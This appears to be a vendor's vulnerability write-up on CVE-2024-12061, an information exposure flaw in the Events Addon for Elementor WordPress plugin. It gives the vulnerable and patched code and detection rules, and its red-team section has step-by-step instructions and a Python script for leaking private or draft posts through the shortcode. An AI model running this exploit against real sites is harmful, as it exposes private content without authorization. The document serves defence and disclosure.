CVE-2024-12061
Executive Summary
CVE-2024-12061 is an information exposure vulnerability in the Events Addon for Elementor WordPress plugin (versions up to and including 2.2.3). The flaw resides in the naevents_elementor_template shortcode, which fails to properly restrict which posts can be included in its output. This allows authenticated attackers with Contributor-level access or higher to extract data from private or draft posts created with Elementor that they should not have access to. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (exposure of private/draft post content)
- Integrity Impact: None
- Availability Impact: None
The threat level is considered Medium due to the requirement for authenticated access and the limited impact (confidentiality only). However, the exposure of sensitive draft content could lead to further information gathering or privilege escalation in a WordPress ecosystem.
Deep Dive & Mechanics
The vulnerability exists in the naevents_elementor_template shortcode handler within the Events Addon for Elementor plugin. The shortcode is designed to display event templates, but it does not properly validate the post status or author permissions when retrieving posts. Specifically, the shortcode uses a WordPress query that lacks a post_status filter or a post__in check that respects user capabilities. This allows an authenticated user with Contributor-level access to supply a post ID (or other query parameters) that references private or draft posts created by other users (including Administrators). The shortcode then renders the Elementor content of those posts, leaking sensitive information such as unpublished event details, internal notes, or draft page content.
The core issue is an Insecure Direct Object Reference (IDOR) combined with insufficient authorization checks. The shortcode does not call current_user_can() or wp_check_post_lock() before outputting post data. Additionally, the query does not restrict post_status to publish only, allowing private, draft, pending, and future posts to be included.
Vulnerable vs. Patched Code
Vulnerable Code (version 2.2.3 and earlier):
// In naevents-elementor-template.php or similar
function naevents_elementor_template_shortcode($atts) {
$atts = shortcode_atts(array(
'id' => '',
), $atts);
if (empty($atts['id'])) {
return '';
}
$post = get_post($atts['id']);
if (!$post) {
return '';
}
// No check for post_status or user capabilities
$elementor_content = Elementor\Plugin::instance()->frontend->get_builder_content_for_display($post->ID);
return $elementor_content;
}
add_shortcode('naevents_elementor_template', 'naevents_elementor_template_shortcode');
Patched Code (hypothetical fix):
function naevents_elementor_template_shortcode($atts) {
$atts = shortcode_atts(array(
'id' => '',
), $atts);
if (empty($atts['id'])) {
return '';
}
$post = get_post($atts['id']);
if (!$post) {
return '';
}
// Check if the post is published or the user has permission to view it
if ($post->post_status !== 'publish' && !current_user_can('read_post', $post->ID)) {
return '';
}
// Additional check: ensure the user can read private posts if needed
if ($post->post_status === 'private' && !current_user_can('read_private_posts')) {
return '';
}
$elementor_content = Elementor\Plugin::instance()->frontend->get_builder_content_for_display($post->ID);
return $elementor_content;
}
add_shortcode('naevents_elementor_template', 'naevents_elementor_template_shortcode');
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the Events Addon for Elementor plugin (version <= 2.2.3) installed and activated.
- An authenticated user account with Contributor-level access or higher.
Exploitation Steps:
- Log in to the WordPress admin dashboard as a Contributor.
- Identify the ID of a private or draft post created by another user (e.g., an Administrator). This can be done by viewing the post list in the admin area (if accessible) or by brute-forcing post IDs.
- Craft a shortcode to include the target post:
Replace[naevents_elementor_template id="123"]123with the target post ID. - Insert this shortcode into a page or post that you can edit (e.g., a new draft post).
- Preview or publish the page containing the shortcode. The Elementor content of the private/draft post will be rendered, exposing its contents.
Automated Exploit (Python):
import requests
import re
target_url = "http://example.com"
username = "contributor_user"
password = "password123"
post_id = "123" # Target private/draft post ID
session = requests.Session()
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': target_url + '/wp-admin/',
'testcookie': '1'
}
session.post(target_url + '/wp-login.php', data=login_data)
# Create a page with the malicious shortcode
page_data = {
'post_title': 'Exploit Page',
'post_content': f'[naevents_elementor_template id="{post_id}"]',
'post_status': 'publish',
'post_type': 'page'
}
session.post(target_url + '/wp-admin/post-new.php?post_type=page', data=page_data)
# Fetch the page to see leaked content
response = session.get(target_url + '/exploit-page/')
print(response.text)
Blue Team
Detection Steps:
- Monitor for unusual shortcode usage in post content, especially
[naevents_elementor_template]with non-published post IDs. - Review server logs for requests to pages containing this shortcode from Contributor-level users.
- Check for rapid creation of pages/posts containing the shortcode by low-privilege users.
- Audit the
wp_poststable for any posts withpost_statusother thanpublishthat are being accessed via the shortcode.
Mitigation:
- Apply the patched code as shown above.
- Restrict Contributor-level users from using shortcodes that can query arbitrary posts.
- Use a WordPress security plugin to monitor and block suspicious shortcode usage.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/the-events-addon-for-elementor/naevents-elementor-template.php(or similar) - Shortcode:
[naevents_elementor_template id="<post_id>"]in post content - Log Entry: HTTP requests to pages containing the shortcode with unusual post IDs
- Database: Rows in
wp_postswithpost_status= 'private' or 'draft' being accessed by Contributor users - User Activity: Contributor users creating pages/posts with the shortcode referencing non-published posts
Detection Engineering
YARA Rule
rule CVE_2024_12061_Events_Addon_Elementor {
meta:
description = "Detects vulnerable shortcode usage in WordPress posts"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-12061"
strings:
$shortcode = /\[naevents_elementor_template\s+id=["']?\d+["']?\]/ nocase
$vuln_func = "get_post("
$no_check = "current_user_can"
condition:
$shortcode and $vuln_func and not $no_check
}
Sigma Rule
title: CVE-2024-12061 - Events Addon for Elementor Information Exposure
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-12061 via shortcode usage
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: 'naevents_elementor_template'
cs-method: 'GET'
condition: selection
falsepositives:
- Legitimate use of the shortcode by administrators
level: medium
tags:
- attack.t1525
- cve.2024.12061
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12061 - Events Addon for Elementor Information Exposure"; flow:to_server,established; content:"naevents_elementor_template"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Events Addon for Elementor plugin until a patch is available.
- Short-Term Fix: Apply the patched code manually by editing the plugin file to add authorization checks (see Vulnerable vs. Patched Code section).
- Long-Term Fix: Update the plugin to a patched version once released by the vendor.
- Workaround: Remove the
naevents_elementor_templateshortcode from use by adding the following to your theme'sfunctions.php:remove_shortcode('naevents_elementor_template'); - Monitoring: Implement the detection rules above to identify any exploitation attempts.
- User Access Review: Limit Contributor-level users' ability to create pages/posts with shortcodes, or restrict their access to only published content.
Valters IT
Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.